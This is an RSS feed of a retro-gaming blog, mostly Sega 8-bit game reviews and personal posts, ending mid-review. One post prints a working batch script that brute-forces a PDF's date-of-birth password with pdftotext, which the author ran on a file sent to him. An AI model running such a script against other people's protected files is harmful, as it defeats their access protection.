<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
<channel>
<title>Maxim’s World of Stuff</title>
<link>http://www.smspower.org/maxim/RSS</link>
<description>Blag</description>
<lastBuildDate>Sat, 26 Jan 2013 21:06:11 GMT</lastBuildDate>
<item>
<title>Xander Mingxuan Zhao</title>
<author>Maxim</author>
<description><![CDATA[<p>He&#8217;s been keeping me busy since 3rd January.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Xander.jpg' alt='' title='' /></div>
]]></description><link>http://www.smspower.org/maxim/XanderMingxuanZhao</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2013-01-26T21:06:11Z</dc:date>
<pubDate>Sat, 26 Jan 2013 21:06:11 GMT</pubDate>
</item>
<item>
<title>I’m Not Dead</title>
<author>Maxim</author>
<description><![CDATA[<p class='vspace'>...just busy. Meanwhile, here&#8217;s an awesome monster.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Monster.jpg' alt='' title='' /></div>
<div class='vspace'></div>
]]></description><link>http://www.smspower.org/maxim/ImNotDead</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2012-12-11T21:52:14Z</dc:date>
<pubDate>Tue, 11 Dec 2012 21:52:14 GMT</pubDate>
</item>
<item>
<title>Wonder Boy In Monster Land Sphinx Questions</title>
<author>Maxim</author>
<description><![CDATA[<p><a class='urllink' href='http://www.smspower.org/forums/viewtopic.php?p=27069&amp;sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'>This isn&#8217;t really anything new</a> but I did the research all over again so I thought I may as well put it somewhere. There are three English variants of <a class='urllink' href='http://www.smspower.org/Games/WonderBoyInMonsterLand-SMS?sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'>Wonder Boy in Monster Land</a> - a prototype, a Japanese release with English text that would never show, and a final Western release. There are a bunch of differences between them, but the one that entertains me the most is the editing done to the questions the Sphinx asks you, the hints you get and the answers...
</p>
<div class='vspace'></div><h3>Question: what was for dinner yesterday?</h3>
<p>Earlier versions: <em>Question: what did I eat yesterday?</em>
</p>
<div class='vspace'></div><dl><dt>Recently, the sphinx seems to be dieting</dt><dd>No dinner
</dd></dl><p class='vspace'>No changes.
</p>
<div class='vspace'></div><dl><dt>Yesterday, one of our chickens disappeared</dt><dd>Fried chicken
</dd></dl><p class='vspace'>In the prototype it says <em>Chicken and rice</em>. However, while that&#8217;s a perfectly cromulent thing to have for dinner in the Far East, it&#8217;s a crazy thing for Westerners who would rather have some KFC or whatever.
</p>
<div class='vspace'></div><h3>Question: what is my hobby?</h3>
<p>Or <em>Question: what is my hobby recently?</em> in earlier versions.
</p>
<div class='vspace'></div><dl><dt>Sphinx has many clubs</dt><dd>Golf
</dd></dl><p class='vspace'>In the earlier versions, the hint is the more entertaining <em>Recently, the sound of window glass breaking was heard</em>.
</p>
<div class='vspace'></div><dl><dt>Sphinx makes strange noises when it rains</dt><dd>Singing
</dd></dl><p class='vspace'>The rain bit always confused me there. In the earlier versions, it&#8217;s <em>Recently, it&#8217;s so noisy at night</em> with the solution <em>Karaoke</em> or <em>Karaoke singing</em>. I guess people go to karaoke at night, but they saw fit to erase the Karaoke part because Westerners wouldn&#8217;t know what it meant? But by 1988, wasn&#8217;t Karaoke pretty well-known worldwide?
</p>
<div class='vspace'></div><h3>Question: how do I stay in shape?</h3>
<p>In earlier versions: <em>Question: what is the method by which I get rid of stress?</em>
</p>
<div class='vspace'></div><dl><dt>Sphinx has new shoes</dt><dd>Jogging
</dd></dl><p class='vspace'>Earlier versions have the hint <em>Recently, earthquakes occur in the morning</em>. I guess Sphinx is rather heavy-footed?
</p>
<div class='vspace'></div><dl><dt>Sphinx likes green diamonds</dt><dd>Baseball
</dd></dl><p class='vspace'>That means nothing to anyone outside the US, Japan and Korea. They erased Karaoke but added this? Anyway, in earlier versions the focus was not on fitness but relaxing, and how better to do that than by developing cirrhosis of the liver?
</p>
<div class='vspace'></div><dl><dt><em>The sphinx often visits our bar</em></dt><dd><em>Drinking</em><br /><em>Alcohol</em> (prototype)
</dd></dl><div class='vspace'></div><h3>Which game have I been playing recently?</h3>
<p>Or <em>What is the game that recently I&#8217;m most interested in?</em>.
</p>
<div class='vspace'></div><dl><dt>Sphinx took a ride he&#8217;ll never forget</dt><dd><a class='urllink' href='http://www.smspower.org/Games/AfterBurner-SMS?sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'>After Burner</a>
</dd></dl><p class='vspace'>Was <em>I hear that the sphinx easily become sick when riding in a vehicle</em>. The Sphinx seems a bit of a wuss. Was he playing the hydraulic arcade cab, or the less awesome home version? Anyway, perhaps Sega felt it was inappropriate to suggest that one of their games would make you nauseous.
</p>
<div class='vspace'></div><dl><dt>Sphinx has strange glasses</dt><dd><a class='urllink' href='http://www.smspower.org/Games/MissileDefense3D-SMS?sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'>Missile Defense</a>
</dd></dl><p class='vspace'>Was <em>The sphinx often wears strange glasses</em>.
</p>
<p class='vspace'>If you can easily get hold of the Japanese text I&#8217;d be interested to translate that too (with any variations) to see what other differences there are...
</p>
]]></description><link>http://www.smspower.org/maxim/WonderBoyInMonsterLandSphinxQuestions</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2012-05-07T17:13:20Z</dc:date>
<pubDate>Mon, 07 May 2012 17:13:20 GMT</pubDate>
</item>
<item>
<title>Statue In A Restaurant</title>
<author>Maxim</author>
<description><![CDATA[<div><img src='http://www.smspower.org/maxim/uploads/Blag/StatueInARestaurant.jpg' alt='' title='' /></div>
]]></description><link>http://www.smspower.org/maxim/StatueInARestaurant</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2012-01-03T22:07:15Z</dc:date>
<pubDate>Tue, 03 Jan 2012 22:07:15 GMT</pubDate>
</item>
<item>
<title>Cats In A Fridge</title>
<author>Maxim</author>
<description><![CDATA[<div><img src='http://www.smspower.org/maxim/uploads/Blag/CatsInAFridge.jpg' alt='' title='' /></div>
]]></description><link>http://www.smspower.org/maxim/CatsInAFridge</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2012-01-03T21:55:32Z</dc:date>
<pubDate>Tue, 03 Jan 2012 21:55:32 GMT</pubDate>
</item>
<item>
<title>Elephant Paints Better Than I Could</title>
<author>Maxim</author>
<description><![CDATA[<div><img src='http://www.smspower.org/maxim/uploads/Blag/ElephantPaintsBetterThanICould.jpg' alt='' title='' /></div>
]]></description><link>http://www.smspower.org/maxim/ElephantPaintsBetterThanICould</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2012-01-03T21:45:00Z</dc:date>
<pubDate>Tue, 03 Jan 2012 21:45:00 GMT</pubDate>
</item>
<item>
<title>PDF Password Brute Force</title>
<author>Maxim</author>
<description><![CDATA[<p>So I was sent a PDF file which was &#8220;protected&#8221; by a password, which was supposed to be my date of birth in ddmmyyyy format. But that didn&#8217;t work, even when I tried various variants of it. I even installed Adobe Reader in case it was some proprietary nonsense (Chrome is my PDF viewer these days). So I emailed them to see what was up.
</p>
<p class='vspace'>However, I couldn&#8217;t help also wondering whether I could brute-force the password. If it was a typo then I would have a search space of 1,000,000,000 possibilities (assuming an extra character as part of the typo, and digits only). If they&#8217;d just used someone else&#8217;s date of birth, the size is a lot lower, more so if I assume a reasonable range of years.
</p>
<p class='vspace'>So I came up with this (or rather, an uglier variant):
</p>
<div class='vspace'></div>
<div class='sourceblock ' id='sourceblock1'>
  <div class='sourceblocktext'><div class="winbatch" style="font-family:monospace;"><span class="sy0">@</span>echo <span class="kw2">off</span><br />
setlocal enabledelayedexpansion<br />
<span class="kw1">for</span> <span class="sy0">/</span>l <span class="sy0">%%</span>y <span class="kw1">in</span> <span class="br0">&#40;</span><span class="nu0">1970</span>,<span class="nu0">1</span>,<span class="nu0">1990</span><span class="br0">&#41;</span> do <span class="kw1">for</span> <span class="sy0">/</span>l <span class="sy0">%%</span>m <span class="kw1">in</span> <span class="br0">&#40;</span><span class="nu0">1</span>,<span class="nu0">1</span>,<span class="nu0">12</span><span class="br0">&#41;</span> do <span class="kw1">for</span> <span class="sy0">/</span>l <span class="sy0">%%</span>d <span class="kw1">in</span> <span class="br0">&#40;</span><span class="nu0">1</span>,<span class="nu0">1</span>,<span class="nu0">31</span><span class="br0">&#41;</span> do <span class="br0">&#40;</span><br />
&#160; set pw=<span class="nu0">0</span><span class="sy0">%%</span>m<span class="sy0">%%</span>y<br />
&#160; set pw=<span class="nu0">0</span><span class="sy0">%%</span>d<span class="sy0">!</span>pw<span class="co2">:~-6!</span><br />
&#160; set pw=<span class="sy0">!</span>pw<span class="co2">:~-8!</span><br />
&#160; pdftotext <span class="sy0">-</span>q <span class="sy0">-</span>upw <span class="sy0">!</span>pw<span class="sy0">!</span> <span class="sy0">%</span>1<br />
&#160; <span class="kw1">if</span> not errorlevel <span class="nu0">1</span> <span class="kw1">goto</span> <span class="co2">:foundit</span><br />
<span class="br0">&#41;</span><br />
<span class="kw1">goto</span> <span class="co2">:eof</span><br />
<br />
<span class="co2">:foundit</span><br />
echo Password is <span class="sy0">%</span>pw<span class="sy0">%</span></div></div>
  <div class='sourceblocklink'><a href='http://www.smspower.org/maxim/PDFPasswordBruteForce?action=sourceblock&amp;num=1&amp;sid=df27688e1ea0f31a8391579434ba1a6f' type='text/plain'>Get Code</a></div>
</div>

<p class='vspace'>It does a bit of unnecessary checking of impossible dates (31st February, for example) but it found the answer for me in about 15s.
</p>
<p class='vspace'>(pdftotext is part of <a class='urllink' href='http://foolabs.com/xpdf' rel='nofollow'>xpdf</a>, which is an awesome tool for manipulating PDF files into not-PDF files.)
</p>
<p class='vspace'>So I emailed them again to suggest that their security is rubbish, and I didn&#8217;t need that new file after all... it&#8217;d be nice to imagine they&#8217;ll do something about it, but I don&#8217;t have much hope...
</p>
]]></description><link>http://www.smspower.org/maxim/PDFPasswordBruteForce</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2011-09-21T14:50:27Z</dc:date>
<pubDate>Wed, 21 Sep 2011 14:50:27 GMT</pubDate>
</item>
<item>
<title>Mini Review: Frogger</title>
<author>Maxim</author>
<description><![CDATA[<p>This is a sequel of sorts to the original <em>Frogger</em> arcade game from 1981 (and its many ports). Apparently due to legal issues, there weren&#8217;t many sequels until the late 90s. This version was a little earlier, but was never released (possibly for the same reason) although it is a complete game. Refreshes of early-80s arcade games are often terrible, but <a class='urllink' href='http://www.smspower.org/Games/Frogger-GG?sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'><em>Frogger</em></a> acquits itself remarkably well.
<a name='more' id='more'></a>
</p>
<p class='vspace'>The basic premise is slightly modified from the original: you, as the frog, must collect your three children from within each level and bring them back to the starting point. Along the way there are various entities moving (or stationary) on land and water. On land, the entities (typically road vehicles) kill you if they hit you (with some exceptions). On water, the reverse is true: the water is deadly and the entities are platforms. There are also bonuses available for extra points, some of which are simple collection and others (like the fly) require you to catch them with your tongue.
</p>
<div class='vspace'></div><h2>Graphics</h2>
<p>Nice cartoony graphics that mostly stick to the same perspective and have some nice touches like well-blended shadows. The core graphics are all backdrops (moving thanks to raster FX) and thus don&#8217;t animate much. The sprites (pickups, frogs, etc) are reasonably well animated and are drawn in a similar style, so it all comes across quite nicely.
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>I didn&#8217;t listen to it.
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>The game offers a decent difficulty curve, although it is on the easy side - extra difficulties ramp up as the game progresses. There&#8217;s a reasonable number of levels, but it&#8217;s a bit short overall. The graphical variation is nice and gives an incentive to play through, but perhaps the space would have been better used with more levels. In fact, it&#8217;s not hard to imagine a random level generator that could ramp up the difficulty - but even that would probably get a bit boring fairly quickly.
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>You&#8217;re rescuing your children, presumably to avoid angering Mrs. Frogger who appears in the ending sequence.
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>The amount of variety is just about enough to keep it fresh through to the end, but it does grate a little. There is of course no depth to the game, but it&#8217;s easy enough to make it keep flowing in an enjoyable fashion. Overall, it does better than average in the fun department.
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>Not a lot, the gameplay mechanic is of course not much changed from the original game 10 years earlier, but it is still an unusual type of game and therefore interesting. The improvements over the original are all nicely done and don&#8217;t come across as too gimmicky, although the focus on arbitrary points bonuses is rather out of date and it might have been more interesting if the bonuses had other effects.
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<p>A good solid game that&#8217;s reasonably unique within the Sega 8-bit library. Well worth playing.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating3.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-Frogger</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2012-08-29T07:35:32Z</dc:date>
<pubDate>Wed, 29 Aug 2012 07:35:32 GMT</pubDate>
</item>
<item>
<title>Mini Review: Gear Works</title>
<author>Maxim</author>
<description><![CDATA[<p>I&#8217;m a sucker for puzzle games, but the genre&#8217;s not well-populated on the SMS (apart from Korean MSX conversions). The Game Gear is better suited to the genre so there are more to be found. <a class='urllink' href='http://www.smspower.org/Games/GearWorks-GG?sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'><em>Gear Works</em></a> did the rounds on home computers and some consoles back in 1993. What we have here seems to be a conversion from the Game Boy, but is it as interesting as you might hope?
</p>
<p class='vspace'>The mechanics are that there are three sizes of gear (cogwheel) and an irregularly shaped grid of regularly spaced &#8220;pins&#8221; to which they can be attached. (It&#8217;d make more sense if they were holes, as they do not impede the turning of gears attached to nearby &#8220;pins&#8221;.) There are some red gears on-screen, at least one of which is turning. Your task is to place additional gears such that all of the red gears turn (in any direction).
</p>
<p class='vspace'>Complications are: random(ish) gears to place, gears which can only turn one way, an &#8220;enemy&#8221; which removes pins, a timer, and (of course) your own incompetence in meshing three gears together.
</p>
<div class='vspace'></div><h2>Graphics</h2>
<p>The graphics are not bad, but a bit more on the programmer side than the artist side. They&#8217;re broadly functional - you can see which way they&#8217;re turning, which is key. The various stages have some variety of graphics and animations, which is nice. The enemy sprites are reasonably characterful. The rest, though... seems like lazy Game Boy conversions, particularly the stage start and end graphics.
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>Cheerful but unmemorable bleeps and bloops.
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>The game itself has plenty of stages and a (mostly) good difficulty curve - there&#8217;s about 4 hours of gameplay in there if you don&#8217;t need to repeat levels. The password system is useful for play on a real system, as it&#8217;d be hugely frustrating otherwise. I&#8217;m not convinced of the replay value, though - once you&#8217;ve solved a level, why would you want to repeat it?
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>Twelve monuments of the world are being converted into clocks. You&#8217;re placing the gears to make the clocks work. (No, really.)
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>It&#8217;s interesting at first, but the difficulty curve is a little spiky. The number of gear combinations is actually quite small, so there isn&#8217;t as much variety as you might hope - it becomes a matter of applying the same few patterns of gears to fit the level. In later levels, the available pins are often deliberately sparse, so the pin-removing enemy can make it impossible to complete a level, which is frustrating. Additionally, the random gear sequence can often make a level impossible to complete - perhaps requiring you to repeat several previous levels. The sequence seems to lack any entropy inputs - you get the same gears every time from the same savestate - which means you can&#8217;t use emulator savestates to avoid losing lives, and it happens enough that you&#8217;ll have to lose all your lives at some point. That&#8217;s not fun.
</p>
<p class='vspace'>Final bug: at some point near the end of the game, I came across glitches where the game would fail to place a gear, stop all rotation and disallow any more gear placement. In the end I found I had to reset the game completely and use a password to continue from the start of the level in order to get it back to a &#8220;clean&#8221; state. If this happens in the real game, it must be very irritating - it seems there are multiple factors that mean you can&#8217;t play through the game in one go.
</p>
<p class='vspace'>One of the power-ups in the game is oil, which you can never use. It turns out the second, smaller brown enemy is supposed to &#8220;rust&#8221; the gears and require oil to repair them. Either due to emulator inaccuracies, extreme luck, a glitch in the game, or incomplete porting, this never happens. So the game is missing an important mechanic. Other minor aspects seem to have been omitted from the port. It seems like it&#8217;s a bit half-assed...
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>The idea seems pretty original - I can&#8217;t think of any other games using the same mechanic, apart from a few <em>Incredible Machine</em> type physics games which may use gears and turning directions as a minor feature. As a port, though, it&#8217;s entirely unoriginal...
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<p>It&#8217;s exactly what you expect, nothing more, perhaps less. If you like this sort of thing (non-twitch puzzle games, that is), it&#8217;s not a bad way to waste hours of your life.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating2.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-GearWorks</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2012-12-30T23:03:02Z</dc:date>
<pubDate>Sun, 30 Dec 2012 23:03:02 GMT</pubDate>
</item>
<item>
<title>Mini Review: Fred Couples Golf</title>
<author>Maxim</author>
<description><![CDATA[<p>There&#8217;s <a class='urllink' href='http://www.smspower.org/Tags/Golf?sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'>plenty of golf games</a> on every platform you can think of, but I&#8217;d never played one for more than a few minutes. So, on a whim, I chose <a class='urllink' href='http://www.smspower.org/Games/FredCouplesGolf-GG?sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'><em>Fred Couples Golf</em></a>. (Or is is <em>Fred Couples&#8217; Golf</em>?) It&#8217;s a reasonably mature golf game, albeit without any attempt at 3D, and the richer colour palette of the Game Gear is likely to make for a prettier game. So, what&#8217;s it like?
</p>
<div class='vspace'></div><h2>Graphics</h2>
<p>The lack of 3D means it&#8217;s a bit dull, but on the other hand rendering decent 3D on Sega 8-bit consoles (see <a class='urllink' href='http://www.smspower.org/Games/ErnieElsGolf-GG?sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'><em>Ernie Els Golf</em></a>) takes a <em>long</em> time (this game&#8217;s nice and fast) and doesn&#8217;t really enlighten you much. When you go to hit the ball you get a little square pseudo-FMV animation which is a nice touch, although it&#8217;s really just a delay. Once you get the ball onto the green, the view switches to one where it uses the Game Gear&#8217;s LCD&#8217;s slow response time (persistence) to blend the green view with a (blocky) height map, which is a nice way to do that and probably better than the attempted 3D projections you see elsewhere, which also means the putts are reasonably varied gameplay-wise.
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>I played with music off, and the thwack SFX were about what you&#8217;d expect. The later coastal course has some really awful bird noises too...
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>There are three courses, meaning 54 holes. However, they&#8217;re all much of a muchness. A few require you to be careful - there&#8217;s narrow targets or huge things you have to avoid (e.g. the sea) - but all the way through the game helps you by selecting the direction (albeit not always exactly right) and the appropriate club (again, not always quite right), so it&#8217;s mostly a matter of hitting the ball at 100% power in the centre until the one where you use less power to avoid overshooting the green; and then putting is just a matter of judging the power meter again unless there&#8217;s some extreme contours to worry about. So it&#8217;s pretty dull.
</p>
<p class='vspace'>Add to that that in tournament mode, you have to play each course twice - once to &#8220;make the cut&#8221; and once for &#8220;real&#8221; - and it does drag on a bit. The game provides passwords, which is handly because playing through takes longer than a set of AAs would last in a Game Gear. Still, some Sega 8-bit golf games make you play each course four times in tournament mode, as that&#8217;s apparently what happens in real life...
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>There&#8217;s not supposed to be any.
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>There isn&#8217;t much. The difficulty curve is very shallow, but it is always tricky, so there&#8217;s some satisfaction in getting a shot &#8220;just right&#8221;. But that&#8217;s all.
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>Not much... golf games by this stage were verging on 3D, although I think it was sensible not to do that this time. Apart from that, it&#8217;s just a matter of polish and the game is quite polished, and tries hard to do things nicely.
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<p>So I&#8217;d never played a golf game all the way though, and now I have, and it&#8217;s really just more courses (and you have some incentive not to just mess around hitting the ball all over the place). I can&#8217;t really judge it against all the other golf games I haven&#8217;t played all the way through, so I&#8217;ll judge it against the other <strong>games</strong> I have played all the way through.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating2.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-FredCouplesGolf</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2012-01-05T07:22:28Z</dc:date>
<pubDate>Thu, 05 Jan 2012 07:22:28 GMT</pubDate>
</item>
<item>
<title>Micro Review: Galaga '91</title>
<author>Maxim</author>
<description><![CDATA[<p>Short, annoying (slow firing rate, enemies move faster than your bullets), no powerups, not much variety.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating1.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MicroReview-Galaga91</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2011-07-01T16:19:49Z</dc:date>
<pubDate>Fri, 01 Jul 2011 16:19:49 GMT</pubDate>
</item>
<item>
<title>PS1JERT Source Released</title>
<author>Maxim</author>
<description><![CDATA[<p>I posted the source to the <a class='urllink' href='http://www.smspower.org/Translations/PhantasyStar-SMS-EN?sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'>Phantasy Star 1 Japanese to English ReTranslation</a> on the appropriate page. It&#8217;s lacking history - I have an SVN dump that&#8217;s been manually unwedged, I hope, and some crappy backups made during the stage where the SVN server was unavailable. It&#8217;s not brilliantly documented - there&#8217;s a huge amount going on in there. But it builds, and I&#8217;ve finally pulled my finger out and released it, for better or for worse.
</p>
<p class='vspace'>If you want to get into hacking on it, you may need to upgrade to a 32-bit version of TASM, and/or spend the time to port it to a nicer assembler. (A great deal could probably be done using WLA DX&#8217;s <code>.background</code> feature, for example.) Then try to figure some of it out... it&#8217;s hard work. If you need more characters, think about using tile flipping for b/p/d/q, overloading 1/l/I and O/0, etc, and then figure out how the hell you do that. In fact, you&#8217;d be very sensible if you
</p>
<div class='vspace'></div><ol><li>put it into a source control system
</li><li>got some other people involved (Z80 hacker, translator, ...)
</li><li>discuss things on the SMS Power! forums so others can learn from your work, especially people working on a translation to the same language
</li></ol><p class='vspace'>Officially, the project is not licensed at all. I intend to be liberal but you should get permission before you release.
</p>
]]></description><link>http://www.smspower.org/maxim/PS1JERTSourceReleased</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2011-06-24T16:23:18Z</dc:date>
<pubDate>Fri, 24 Jun 2011 16:23:18 GMT</pubDate>
</item>
<item>
<title>Mini Review: Alien Syndrome</title>
<author>Maxim</author>
<description><![CDATA[<p><em>Alien Syndrome</em> was first an arcade &#8220;run-and-gun&#8221; game in 1987, then a <a class='urllink' href='http://www.smspower.org/Games/AlienSyndrome-SMS?sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'>Master System port</a> in 1988, then a port to every system on the planet, and later (1992) a <a class='urllink' href='http://www.smspower.org/Games/AlienSyndrome-GG?sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'>Game Gear sequel</a> with the same name. There was another sequel in 2007 but we don&#8217;t care about that. Here I shall talk about the two Sega 8-bit home console versions, of course.
</p>
<div class='vspace'></div><h2>Graphics</h2>
<p>The game has a zero-degrees oblique projection, which is a kind of crappy 3D where you can&#8217;t really see the floor a lot of the time. On the SMS the graphics are 1988 first-party sparse blobs of colour, while the GG is more 1992 second-party effort that looks like an actual pixel artist was involved.
</p>
<p class='vspace'>Sprites are similarly uninspired. The GG ones are again a bit better drawn.
</p>
<p class='vspace'>The GG version&#8217;s title screen has a neat graphical stretching effect, which is actually really hard to do on the Sega 8-bit systems.
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>I played with it off.
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>The levels tend to get more difficult to traverse in the time given, plus the later stages tend to have more difficult enemies. That&#8217;s where the difficulty curve is supposed to come from. 
</p>
<p class='vspace'>On the SMS, the game screen-flips as you walk around the environment. This is mainly to allow it to have an RPG-style system where enemies randomly spawn on each screen without the game having to track any off-screen enemies, but it also means you can cheat RPG-style by screen-flipping back and forth to reset the enemies. 
</p>
<p class='vspace'>The GG version instead has full-level scrolling, and much fewer enemies as a result; but the small screen means you don&#8217;t notice that too much. It also means enemies can follow you around the world (although off-screen they seem not to do anything), meaning you can see the quality of 1992 8-bit route finding. It also gives you an in-game map, making it a lot easier to find your way around and to plan your route, which cuts out a lot of the need to replay levels.
</p>
<p class='vspace'>So, things are made easier by technical shortcomings and design decisions of the games&#8217; implementations. 
</p>
<p class='vspace'>I was generally shocked by how short the GG version is, and the SMS version is likewise not too long - although it is about the length you&#8217;d expect for an arcade game. However, on both - but to a much greater extent on the SMS - the boss battles are harder than the main stages. The final boss on SMS seemed stupidly hard to defeat, although it seems there are some tricks in the game to make it easier.
</p>
<div class='vspace'></div><h2>Plot</h2>
<p>SMS: In 2089, aliens invade human-occupied space. The foolish humans fight back at their alien overlords and are taken hostage. Only two members of the Earth
Command Troopers volunteer to go on a rescue mission - Ricky and Mary. No, sorry: they&#8217;re RICKY and MARY, apparently.
</p>
<p class='vspace'>GG: In 2000, aliens invaded Space Colony &#8220;Alpha&#8221; and took the crew hostage. RICKY and MARY, members of &#8220;SCOT&#8221;, rescued them. Now it&#8217;s 5 years later and it&#8217;s happened again.
</p>
<p class='vspace'>(Note that one of the GG variants has amusing Engrish, including the infamous &#8220;emergency massage&#8221; that gave the Massage emulator its name.)
</p>
<div class='vspace'></div><h2>Fun</h2>
<p>Running and gunning is fun in itself, but this is a simplistic and flawed implementation. The crappy 3D makes it hard to see what&#8217;s going on. The poor graphics, especially the player sprites, make it not particularly nice to look at. The wacky weapon upgrade system, especially when you can&#8217;t know which weapon suits the next boss, makes it rather infuriating. The bosses are all rather non-sequitur. The overall feeling is that it could be a lot more fun.
</p>
<div class='vspace'></div><h2>Innovation</h2>
<p>I&#8217;m not sure how innovative the original arcade game was, but the console versions seem very by-the-numbers. The later Game Gear release gets less leeway as we really knew better by then. There could have been a lot more gun types (the GG version at least has upgrades, I think), more power-ups, more enemy types, enemy attack formations, all the stuff shoot-em-ups had been incrementally developing for some time.
</p>
<div class='vspace'></div><h2>Conclusion</h2>
<p>Not really a classic, this is one of the many &#8220;arcade hits&#8221; that filled the Sega first-party catalogue but hasn&#8217;t really withstood the ravages of time. The GG sequel (presuming they meant to say 2089 in the intro) manages to improve on a few aspects and then screws it up by being easier and shorter.
</p>
<div class='vspace'></div><div><img src='http://www.smspower.org/maxim/uploads/Blag/Rating2.png' alt='' title='' /><br /><a class='wikilink' href='http://www.smspower.org/maxim/MiniReviewRatings?sid=df27688e1ea0f31a8391579434ba1a6f'>Mini Review Ratings</a></div>
]]></description><link>http://www.smspower.org/maxim/MiniReview-AlienSyndrome</link>
<dc:contributor>Maxim</dc:contributor>
<dc:date>2011-07-25T08:56:29Z</dc:date>
<pubDate>Mon, 25 Jul 2011 08:56:29 GMT</pubDate>
</item>
<item>
<title>Mini Review: Man Overboard!</title>
<author>Maxim</author>
<description><![CDATA[<p><a class='urllink' href='http://www.smspower.org/Games/ManOverboard-GG?sid=df27688e1ea0f31a8391579434ba1a6f' rel='nofollow'><em>(S.S. Lucifer) Man Overboard!</em></a> is a late (1994) Game Gear release from Codemasters. It was also released on the Mega Drive and a bunch of other systems as <em>Sink or Swim</em>. The plot: save the passengers of a sinking ship by helping them get to the exit.
</p>
<p class='vspace'>It&#8217;s a platform puzzle game with similarities to <em>Krusty&#8217;s Fun House</em> and <em>Lemmings</em> - you have to guide dumb always-walking passengers to the exit hatch. There are various traps, switches, conveyor belts, etc to overcome along the way.
</p>
<div class='vspace'></div><h2>Graphics</h2>
<p>The original game was for the PC, and had fairly chunky Amiga-esque graphics. For the GG, they scaled everything down quite a lot - so you end up with more visible on-screen than the original, but pretty tiny sprites. They&#8217;ve tried to hammer the graphics into the available pixels but the original huge-eyed super-deformed main character looks pretty mangled by the process, and the passengers are just moving blobs really.
</p>
<p class='vspace'>The level overview picture is nice, it could have been much more of a cop-out - the plane flying past with the password is a nice touch. The level intros have a bit of a go at a graphical effect, and in-game there&#8217;s a nice raster palette swap to show the water, which even has nice little 1px bubbles floating up for added effect. There&#8217;s some nice (albeit 1-tile) procedural parallax going on a lot of the time too. Overall, not a bad effort, but it does feel a lot like the graphics were converted by a programmer...
</p>
<div class='vspace'></div><h2>Sound</h2>
<p>There&#8217;s no music in-game, and rather sparse FX.
</p>
<div class='vspace'></div><h2>Longevity</h2>
<p>This is a <strong>long</strong> game. Seriously. There are precisely 100 stages, and they take a couple of minutes each. I played through it in ApprenticeMinusDS, which kindly tells you the elapsed emulator time on your savestates - that is, the time from power-on to that savestate in the virtual world of the emulator, not counting any replayed parts using rewind/savestates - and it came out as just under 3 hours. That&#8217;s longer than a Game Gear&#8217;s battery life...
</p>
